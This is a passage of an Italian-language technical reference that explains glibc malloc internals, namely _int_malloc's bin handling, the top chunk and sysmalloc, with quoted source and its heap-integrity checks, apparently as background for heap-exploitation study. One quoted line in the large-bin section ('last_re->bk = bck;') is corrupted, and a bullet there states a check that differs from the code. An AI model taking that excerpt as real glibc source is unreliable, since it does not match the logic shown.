(__glibc_unlikely (size <= CHUNK_HDR_SZ) +|| __glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): invalid size (unsorted)"); +if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) +|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) +malloc_printerr ("malloc(): invalid next size (unsorted)"); +if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) +malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); +if (__glibc_unlikely (bck->fd != victim) +|| __glibc_unlikely (victim->fd != unsorted_chunks (av))) +malloc_printerr ("malloc(): unsorted double linked list corrupted"); +if (__glibc_unlikely (prev_inuse (next))) +malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); + +``` +
+ +#### se `in_smallbin_range` + +Se il chunk è più grande della dimensione richiesta, usalo e imposta il resto dello spazio del chunk nella lista non ordinata e aggiorna il `last_remainder` con esso. + +
+ +_int_malloc lista non ordinata in_smallbin_range +```c +// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14 + +/* +If a small request, try to use last remainder if it is the +only chunk in unsorted bin. This helps promote locality for +runs of consecutive small requests. This is the only +exception to best-fit, and applies only when there is +no exact fit for a small chunk. +*/ + +if (in_smallbin_range (nb) && +bck == unsorted_chunks (av) && +victim == av->last_remainder && +(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) +{ +/* split and reattach remainder */ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; +av->last_remainder = remainder; +remainder->bk = remainder->fd = unsorted_chunks (av); +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} + +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); + +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} + +``` +
+ +Se ciò è avvenuto con successo, restituisci il chunk e termina, altrimenti continua ad eseguire la funzione... + +#### se le dimensioni sono uguali + +Continua a rimuovere il chunk dal bin, nel caso in cui la dimensione richiesta sia esattamente quella del chunk: + +* Se il tcache non è pieno, aggiungilo al tcache e continua a indicare che c'è un chunk tcache che potrebbe essere utilizzato +* Se il tcache è pieno, usalo semplicemente restituendolo + +
+ +_int_malloc unsorted bin equal size +```c +// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14 + +/* remove from unsorted list */ +unsorted_chunks (av)->bk = bck; +bck->fd = unsorted_chunks (av); + +/* Take now instead of binning if exact fit */ + +if (size == nb) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +#if USE_TCACHE +/* Fill cache first, return to user only if cache fills. +We may return one of these chunks later. */ +if (tcache_nb > 0 +&& tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (victim, tc_idx); +return_cached = 1; +continue; +} +else +{ +#endif +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +#if USE_TCACHE +} +#endif +} + +``` +
+ +Se il chunk non viene restituito o aggiunto al tcache, continuare con il codice... + +#### inserire il chunk in un bin + +Memorizzare il chunk controllato nel bin piccolo o nel bin grande in base alla dimensione del chunk (mantenendo il bin grande correttamente organizzato). + +Vengono eseguiti controlli di sicurezza per assicurarsi che entrambe le liste doppiamente collegate del bin grande non siano corrotte: + +* Se `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): lista doppiamente collegata del largebin corrotta (nextsize)` +* Se `fwd->bk->fd != fwd`: `malloc(): lista doppiamente collegata del largebin corrotta (bk)` + +
+ +_int_malloc inserire il chunk in un bin +```c +/* place chunk in bin */ + +if (in_smallbin_range (size)) +{ +victim_index = smallbin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; +} +else +{ +victim_index = largebin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; + +/* maintain large bins in sorted order */ +if (fwd != bck) +{ +/* Or with inuse bit to speed comparisons */ +size |= PREV_INUSE; +/* if smaller than smallest, bypass loop below */ +assert (chunk_main_arena (bck->bk)); +if ((unsigned long) (size) +< (unsigned long) chunksize_nomask (bck->bk)) +{ +fwd = bck; +bck = bck->bk; + +victim->fd_nextsize = fwd->fd; +victim->bk_nextsize = fwd->fd->bk_nextsize; +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; +} +else +{ +assert (chunk_main_arena (fwd)); +while ((unsigned long) size < chunksize_nomask (fwd)) +{ +fwd = fwd->fd_nextsize; +assert (chunk_main_arena (fwd)); +} + +if ((unsigned long) size +== (unsigned long) chunksize_nomask (fwd)) +/* Always insert in the second position. */ +fwd = fwd->fd; +else +{ +victim->fd_nextsize = fwd; +victim->bk_nextsize = fwd->bk_nextsize; +if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) +malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); +fwd->bk_nextsize = victim; +victim->bk_nextsize->fd_nextsize = victim; +} +bck = fwd->bk; +if (bck->fd != fwd) +malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); +} +} +else +victim->fd_nextsize = victim->bk_nextsize = victim; +} + +mark_bin (av, victim_index); +victim->bk = bck; +victim->fd = fwd; +fwd->bk = victim; +bck->fd = victim; +``` +
+ +#### Limiti di `_int_malloc` + +A questo punto, se qualche blocco era memorizzato nella tcache che può essere utilizzato e il limite è stato raggiunto, basta **restituire un blocco della tcache**. + +Inoltre, se **MAX\_ITERS** è stato raggiunto, interrompere il ciclo e ottenere un blocco in modo diverso (blocco superiore). + +Se `return_cached` era impostato, restituire semplicemente un blocco dalla tcache per evitare ricerche più ampie. + +
+ +_int_malloc limiti +```c +// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7 + +#if USE_TCACHE +/* If we've processed as many chunks as we're allowed while +filling the cache, return one of the cached ones. */ +++tcache_unsorted_count; +if (return_cached +&& mp_.tcache_unsorted_limit > 0 +&& tcache_unsorted_count > mp_.tcache_unsorted_limit) +{ +return tcache_get (tc_idx); +} +#endif + +#define MAX_ITERS 10000 +if (++iters >= MAX_ITERS) +break; +} + +#if USE_TCACHE +/* If all the small chunks we found ended up cached, return one now. */ +if (return_cached) +{ +return tcache_get (tc_idx); +} +#endif +``` +
+ +Se i limiti non sono stati raggiunti, continua con il codice... + +### Large Bin (per indice) + +Se la richiesta è grande (non è nella small bin) e non abbiamo ancora restituito alcun chunk, otteniamo l'**indice** della dimensione richiesta nel **large bin**, controlliamo se **non è vuoto** o se il **chunk più grande in questo bin è più grande** della dimensione richiesta e in tal caso troviamo il **chunk più piccolo che può essere utilizzato** per la dimensione richiesta. + +Se lo spazio rimanente dal chunk utilizzato alla fine può essere un nuovo chunk, aggiungilo al unsorted bin e l'ultimo\_reminder viene aggiornato. + +Viene effettuato un controllo di sicurezza quando si aggiunge il reminder all'unsorted bin: + +* `bck->fd-> bk != bck`: `malloc(): chunk non ordinati corrotti` + +
+ +_int_malloc Large bin (per indice) +```c +// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10 + +/* +If a large request, scan through the chunks of current bin in +sorted order to find smallest that fits. Use the skip list for this. +*/ + +if (!in_smallbin_range (nb)) +{ +bin = bin_at (av, idx); + +/* skip scan if empty or largest chunk is too small */ +if ((victim = first (bin)) != bin +&& (unsigned long) chunksize_nomask (victim) +>= (unsigned long) (nb)) +{ +victim = victim->bk_nextsize; +while (((unsigned long) (size = chunksize (victim)) < +(unsigned long) (nb))) +victim = victim->bk_nextsize; + +/* Avoid removing the first entry for a size so that the skip +list does not have to be rerouted. */ +if (victim != last (bin) +&& chunksize_nomask (victim) +== chunksize_nomask (victim->fd)) +victim = victim->fd; + +remainder_size = size - nb; +unlink_chunk (av, victim); + +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks"); +last_re->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} +``` +
+ +Se non viene trovato un chunk adatto per questo, continuare + +### Large Bin (successivo più grande) + +Se nella large bin esatta non c'era nessun chunk che potesse essere utilizzato, iniziare a scorrere tutti i successivi large bin (a partire dal successivo più grande) fino a quando ne viene trovato uno (se presente). + +Il resto del chunk diviso viene aggiunto nella unsorted bin, last\_reminder viene aggiornato e viene eseguito lo stesso controllo di sicurezza: + +* `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2` + +
+ +_int_malloc Large bin (successivo più grande) +```c +// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10 + +/* +Search for a chunk by scanning bins, starting with next largest +bin. This search is strictly by best-fit; i.e., the smallest +(with ties going to approximately the least recently used) chunk +that fits is selected. + +The bitmap avoids needing to check that most blocks are nonempty. +The particular case of skipping all bins during warm-up phases +when no chunks have been returned yet is faster than it might look. +*/ + +++idx; +bin = bin_at (av, idx); +block = idx2block (idx); +map = av->binmap[block]; +bit = idx2bit (idx); + +for (;; ) +{ +/* Skip rest of block if there are no more set bits in this block. */ +if (bit > map || bit == 0) +{ +do +{ +if (++block >= BINMAPSIZE) /* out of bins */ +goto use_top; +} +while ((map = av->binmap[block]) == 0); + +bin = bin_at (av, (block << BINMAPSHIFT)); +bit = 1; +} + +/* Advance to bin with set bit. There must be one. */ +while ((bit & map) == 0) +{ +bin = next_bin (bin); +bit <<= 1; +assert (bit != 0); +} + +/* Inspect the bin. It is likely to be non-empty */ +victim = last (bin); + +/* If a false alarm (empty bin), clear the bit. */ +if (victim == bin) +{ +av->binmap[block] = map &= ~bit; /* Write through */ +bin = next_bin (bin); +bit <<= 1; +} + +else +{ +size = chunksize (victim); + +/* We know the first chunk in this bin is big enough to use. */ +assert ((unsigned long) (size) >= (unsigned long) (nb)); + +remainder_size = size - nb; + +/* unlink */ +unlink_chunk (av, victim); + +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} + +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); + +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks 2"); +remainder->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; + +/* advertise as last remainder */ +if (in_smallbin_range (nb)) +av->last_remainder = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} +``` +
+ +### Top Chunk + +A questo punto, è il momento di ottenere un nuovo chunk dal Top chunk (se abbastanza grande). + +Inizia con un controllo di sicurezza per assicurarsi che la dimensione del chunk non sia troppo grande (corrotta): + +* `chunksize(av->top) > av->system_mem`: `malloc(): dimensione top corrotta` + +Successivamente, verrà utilizzato lo spazio del top chunk se è abbastanza grande per creare un chunk della dimensione richiesta.\ +Se non è così, se ci sono chunk veloci, consolidarli e riprovare.\ +Infine, se lo spazio non è sufficiente, utilizzare `sysmalloc` per allocare una dimensione sufficiente. + +
+ +_int_malloc Top chunk +```c +use_top: +/* +If large enough, split off the chunk bordering the end of memory +(held in av->top). Note that this is in accord with the best-fit +search rule. In effect, av->top is treated as larger (and thus +less well fitting) than any other available chunk since it can +be extended to be as large as necessary (up to system +limitations). + +We require that av->top always exists (i.e., has size >= +MINSIZE) after initialization, so if it would otherwise be +exhausted by current request, it is replenished. (The main +reason for ensuring it exists is that we may need MINSIZE space +to put in fenceposts in sysmalloc.) +*/ + +victim = av->top; +size = chunksize (victim); + +if (__glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): corrupted top size"); + +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +av->top = remainder; +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); + +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} + +/* When we are using atomic ops to free fast chunks we can get +here for all block sizes. */ +else if (atomic_load_relaxed (&av->have_fastchunks)) +{ +malloc_consolidate (av); +/* restore original bin index */ +if (in_smallbin_range (nb)) +idx = smallbin_index (nb); +else +idx = largebin_index (nb); +} + +/* +Otherwise, relay to handle system-dependent cases +*/ +else +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} +} +} + +``` +
+ +## sysmalloc + +### Inizio di sysmalloc + +Se l'arena è nulla o la dimensione richiesta è troppo grande (e sono consentiti mmaps rimasti) utilizzare `sysmalloc_mmap` per allocare spazio e restituirlo. +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531 + +/* +sysmalloc handles malloc cases requiring more memory from the system. +On entry, it is assumed that av->top does not have enough +space to service request for nb bytes, thus requiring that av->top +be extended or replaced. +*/ + +static void * +sysmalloc (INTERNAL_SIZE_T nb, mstate av) +{ +mchunkptr old_top; /* incoming value of av->top */ +INTERNAL_SIZE_T old_size; /* its size */ +char *old_end; /* its end address */ + +long size; /* arg to first MORECORE or mmap call */ +char *brk; /* return value from MORECORE */ + +long correction; /* arg to 2nd MORECORE call */ +char *snd_brk; /* 2nd return val */ + +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ +char *aligned_brk; /* aligned offset into brk */ + +mchunkptr p; /* the allocated/returned chunk */ +mchunkptr remainder; /* remainder from allocation */ +unsigned long remainder_size; /* its size */ + + +size_t pagesize = GLRO (dl_pagesize); +bool tried_mmap = false; + + +/* +If have mmap, and the request size meets the mmap threshold, and +the system supports mmap, and there are few enough currently +allocated mmapped regions, try to directly map this request +rather than expanding top. +*/ + +if (av == NULL +|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) +&& (mp_.n_mmaps < mp_.n_mmaps_max))) +{ +char *mm; +if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) +{ +/* There is no need to issue the THP madvise call if Huge Pages are +used directly. */ +mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); +if (mm != MAP_FAILED) +return mm; +} +mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +tried_mmap = true; +} + +/* There are no usable arenas and mmap also failed. */ +if (av == NULL) +return 0; +``` + + +### Controlli di sysmalloc + +Inizia ottenendo le informazioni sul vecchio chunk superiore e verificando che alcune delle seguenti condizioni siano vere: + +* La dimensione del vecchio heap è 0 (nuovo heap) +* La dimensione dell'heap precedente è maggiore di MINSIZE e il vecchio Top è in uso +* L'heap è allineato alla dimensione della pagina (0x1000 quindi i 12 bit inferiori devono essere 0) + +Poi controlla anche che: + +* La vecchia dimensione non abbia abbastanza spazio per creare un chunk della dimensione richiesta + +
+ +Controlli di sysmalloc +```c +/* Record incoming configuration of top */ + +old_top = av->top; +old_size = chunksize (old_top); +old_end = (char *) (chunk_at_offset (old_top, old_size)); + +brk = snd_brk = (char *) (MORECORE_FAILURE); + +/* +If not the first time through, we require old_size to be +at least MINSIZE and to have prev_inuse set. +*/ + +assert ((old_top == initial_top (av) && old_size == 0) || +((unsigned long) (old_size) >= MINSIZE && +prev_inuse (old_top) && +((unsigned long) old_end & (pagesize - 1)) == 0)); + +/* Precondition: not enough current space to satisfy nb request */ +assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); +``` +
+ +### sysmalloc non arena principale + +Innanzitutto cercherà di **estendere** l'heap precedente per questo heap. Se non è possibile, cercherà di **allocare un nuovo heap** e aggiornare i puntatori per poterlo utilizzare.\ +Infine, se ciò non funziona, prova a chiamare **`sysmalloc_mmap`**. + +
+ +sysmalloc non arena principale +```c +if (av != &main_arena) +{ +heap_info *old_heap, *heap; +size_t old_heap_size; + +/* First try to extend the current heap. */ +old_heap = heap_for_ptr (old_top); +old_heap_size = old_heap->size; +if ((long) (MINSIZE + nb - old_size) > 0 +&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0) +{ +av->system_mem += old_heap->size - old_heap_size; +set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) +| PREV_INUSE); +} +else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) +{ +/* Use a newly allocated heap. */ +heap->ar_ptr = av; +heap->prev = old_heap; +av->system_mem += heap->size; +/* Set up the new top. */ +top (av) = chunk_at_offset (heap, sizeof (*heap)); +set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); + +/* Setup fencepost and free the old top chunk with a multiple of +MALLOC_ALIGNMENT in size. */ +/* The fencepost takes at least MINSIZE bytes, because it might +become the top chunk again later. Note that a footer is set +up, too, although the chunk is marked in use. */ +old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; +set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), +0 | PREV_INUSE); +if (old_size >= MINSIZE) +{ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); +set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); +_int_free (av, old_top, 1); +} +else +{ +set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); +set_foot (old_top, (old_size + CHUNK_HDR_SZ)); +} +} +else if (!tried_mmap) +{ +/* We can at least try to use to mmap memory. If new_heap fails +it is unlikely that trying to allocate huge pages will +succeed. */ +char *mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +} +} +``` +
+ +### Arena principale di sysmalloc + +Inizia calcolando la quantità di memoria necessaria. Inizierà richiedendo memoria contigua in modo da poter utilizzare la vecchia memoria non utilizzata. Vengono inoltre eseguite alcune operazioni di allineamento. + +
+ +Arena principale di sysmalloc +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10 + +else /* av == main_arena */ + + +{ /* Request enough space for nb + pad + overhead */ +size = nb + mp_.top_pad + MINSIZE; + +/* +If contiguous, we can subtract out existing space that we hope to +combine with new space. We add it back later only if +we don't actually get contiguous space. +*/ + +if (contiguous (av)) +size -= old_size; + +/* +Round to a multiple of page size or huge page size. +If MORECORE is not contiguous, this ensures that we only call it +with whole-page arguments. And if MORECORE is contiguous and +this is not first time through, this preserves page-alignment of +previous calls. Otherwise, we correct to page-align below. +*/ + +#ifdef MADV_HUGEPAGE +/* Defined in brk.c. */ +extern void *__curbrk; +if (__glibc_unlikely (mp_.thp_pagesize != 0)) +{ +uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, +mp_.thp_pagesize); +size = top - (uintptr_t) __curbrk; +} +else +#endif +size = ALIGN_UP (size, GLRO(dl_pagesize)); + +/* +Don't try to call MORECORE if argument is so big as to appear +negative. Note that since mmap takes size_t arg, it may succeed +below even if we cannot call MORECORE. +*/ + +if (size > 0) +{ +brk = (char *) (MORECORE (size)); +if (brk != (char *) (MORECORE_FAILURE)) +madvise_thp (brk, size); +LIBC_PROBE (memory_sbrk_more, 2, brk, size); +} +``` +### Errore precedente dell'arena principale di sysmalloc 1 + +Se il precedente ha restituito `MORECORE_FAILURE`, prova di nuovo ad allocare memoria utilizzando `sysmalloc_mmap_fallback` +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10 + +if (brk == (char *) (MORECORE_FAILURE)) +{ +/* +If have mmap, try using it as a backup when MORECORE fails or +cannot be used. This is worth doing on systems that have "holes" in +address space, so sbrk cannot extend to give contiguous space, but +space is available elsewhere. Note that we ignore mmap max count +and threshold limits, since the space will not be used as a +segregated mmap region. +*/ + +char *mbrk = MAP_FAILED; +if (mp_.hp_pagesize > 0) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, +mp_.hp_pagesize, mp_.hp_pagesize, +mp_.hp_flags, av); +if (mbrk == MAP_FAILED) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, +pagesize, 0, av); +if (mbrk != MAP_FAILED) +{ +/* We do not need, and cannot use, another sbrk call to find end */ +brk = mbrk; +snd_brk = brk + size; +} +} +``` +### sysmalloc continuazione dell'arena principale + +Se il passaggio precedente non ha restituito `MORECORE_FAILURE`, se ha funzionato crea alcuni allineamenti: + +
+ +sysmalloc errore precedente dell'arena principale 2 +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742 + +if (brk != (char *) (MORECORE_FAILURE)) +{ +if (mp_.sbrk_base == 0) +mp_.sbrk_base = brk; +av->system_mem += size; + +/* +If MORECORE extends previous space, we can likewise extend top size. +*/ + +if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) +set_head (old_top, (size + old_size) | PREV_INUSE); + +else if (contiguous (av) && old_size && brk < old_end) +/* Oops! Someone else killed our space.. Can't touch anything. */ +malloc_printerr ("break adjusted to free malloc space"); + +/* +Otherwise, make adjustments: + +* If the first time through or noncontiguous, we need to call sbrk +just to find out where the end of memory lies. + +* We need to ensure that all returned chunks from malloc will meet +MALLOC_ALIGNMENT + +* If there was an intervening foreign sbrk, we need to adjust sbrk +request size to account for fact that we will not be able to +combine new space with existing space in old_top. + +* Almost all systems internally allocate whole pages at a time, in +which case we might as well use the whole last page of request. +So we allocate enough more memory to hit a page boundary now, +which in turn causes future contiguous calls to page-align. +*/ + +else +{ +front_misalign = 0; +end_misalign = 0; +correction = 0; +aligned_brk = brk; + +/* handle contiguous cases */ +if (contiguous (av)) +{ +/* Count foreign sbrk as system_mem. */ +if (old_size) +av->system_mem += brk - old_end; + +/* Guarantee alignment of first new chunk made from this space */ + +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ + +correction = MALLOC_ALIGNMENT - front_misalign; +aligned_brk += correction; +} + +/* +If this isn't adjacent to existing space, then we will not +be able to merge with old_top space, so must add to 2nd request. +*/ + +correction += old_size; + +/* Extend the end address to hit a page boundary */ +end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); +correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; + +assert (correction >= 0); +snd_brk = (char *) (MORECORE (correction)); + +/* +If can't allocate correction, try to at least find out current +brk. It might be enough to proceed without failing. + +Note that if second sbrk did NOT fail, we assume that space +is contiguous with first sbrk. This is a safe assumption unless +program is multithreaded but doesn't use locks and a foreign sbrk +occurred between our first and second calls. +*/ + +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +correction = 0; +snd_brk = (char *) (MORECORE (0)); +} +else +madvise_thp (snd_brk, correction); +} + +/* handle non-contiguous cases */ +else +{ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +/* MORECORE/mmap must correctly align */ +assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); +else +{ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ + +aligned_brk += MALLOC_ALIGNMENT - front_misalign; +} +} + +/* Find out current end of memory */ +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +snd_brk = (char *) (MORECORE (0)); +} +} + +/* Adjust top based on results of second sbrk */ +if (snd_brk != (char *) (MORECORE_FAILURE)) +{ +av->top = (mchunkptr) aligned_brk; +set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); +av->system_mem += correction; + +/* +If not the first time through, we either have a +gap due to foreign sbrk or a non-contiguous region. Insert a +double fencepost at old_top to prevent consolidation with space +we don't own. These fenceposts are artificial chunks that are +marked as inuse and are in any case too small to use. We need +two to make sizes and alignments work out. +*/ + +if (old_size != 0) +{ +/* +Shrink old_top to insert fenceposts, keeping size a +multiple of MALLOC_ALIGNMENT. We know there is at least +enough space in old_top to do this. +*/ +old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; +set_head (old_top, old_size | PREV_INUSE); + +/* +Note that the following assignments completely overwrite +old_top when old_size was previously MINSIZE. This is +intentional. We need the fencepost, even if old_top otherwise gets +lost. +*/ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_head (chunk_at_offset (old_top, +old_size + CHUNK_HDR_SZ), +CHUNK_HDR_SZ | PREV_INUSE); + +/* If possible, release the rest. */ +if (old_size >= MINSIZE) +{ +_int_free (av, old_top, 1); +} +} +} +} +} +} /* if (av != &main_arena) */ +``` +
+ +### sysmalloc finale + +Concludi l'allocazione aggiornando le informazioni dell'arena +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12 + +if ((unsigned long) av->system_mem > (unsigned long) (av->max_system_mem)) +av->max_system_mem = av->system_mem; +check_malloc_state (av); + +/* finally, do the allocation */ +p = av->top; +size = chunksize (p); + +/* check that one of the above allocation paths succeeded */ +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (p, nb); +av->top = remainder; +set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +check_malloced_chunk (av, p, nb); +return chunk2mem (p); +} + +/* catch all failure paths */ +__set_errno (ENOMEM); +return 0; +``` +## sysmalloc_mmap + +
+ +Codice sysmalloc_mmap +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2 + +static void * +sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av) +{ +long int size; + +/* +Round up size to nearest page. For mmapped chunks, the overhead is one +SIZE_SZ unit larger than for normal chunks, because there is no +following chunk whose prev_size field could be used. + +See the front_misalign handling below, for glibc there is no need for +further alignments unless we have have high alignment. +*/ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +size = ALIGN_UP (nb + SIZE_SZ, pagesize); +else +size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); + +/* Don't try if size wraps around 0. */ +if ((unsigned long) (size) <= (unsigned long) (nb)) +return MAP_FAILED; + +char *mm = (char *) MMAP (0, size, +mtag_mmap_flags | PROT_READ | PROT_WRITE, +extra_flags); +if (mm == MAP_FAILED) +return mm; + +#ifdef MAP_HUGETLB +if (!(extra_flags & MAP_HUGETLB)) +madvise_thp (mm, size); +#endif + +__set_vma_name (mm, size, " glibc: malloc"); + +/* +The offset to the start of the mmapped region is stored in the prev_size +field of the chunk. This allows us to adjust returned start address to +meet alignment requirements here and in memalign(), and still be able to +compute proper address argument for later munmap in free() and realloc(). +*/ + +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ + +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +{ +/* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and +MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page +aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ +assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); +front_misalign = 0; +} +else +front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; + +mchunkptr p; /* the allocated/returned chunk */ + +if (front_misalign > 0) +{ +ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; +p = (mchunkptr) (mm + correction); +set_prev_size (p, correction); +set_head (p, (size - correction) | IS_MMAPPED); +} +else +{ +p = (mchunkptr) mm; +set_prev_size (p, 0); +set_head (p, size | IS_MMAPPED); +} + +/* update statistics */ +int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; +atomic_max 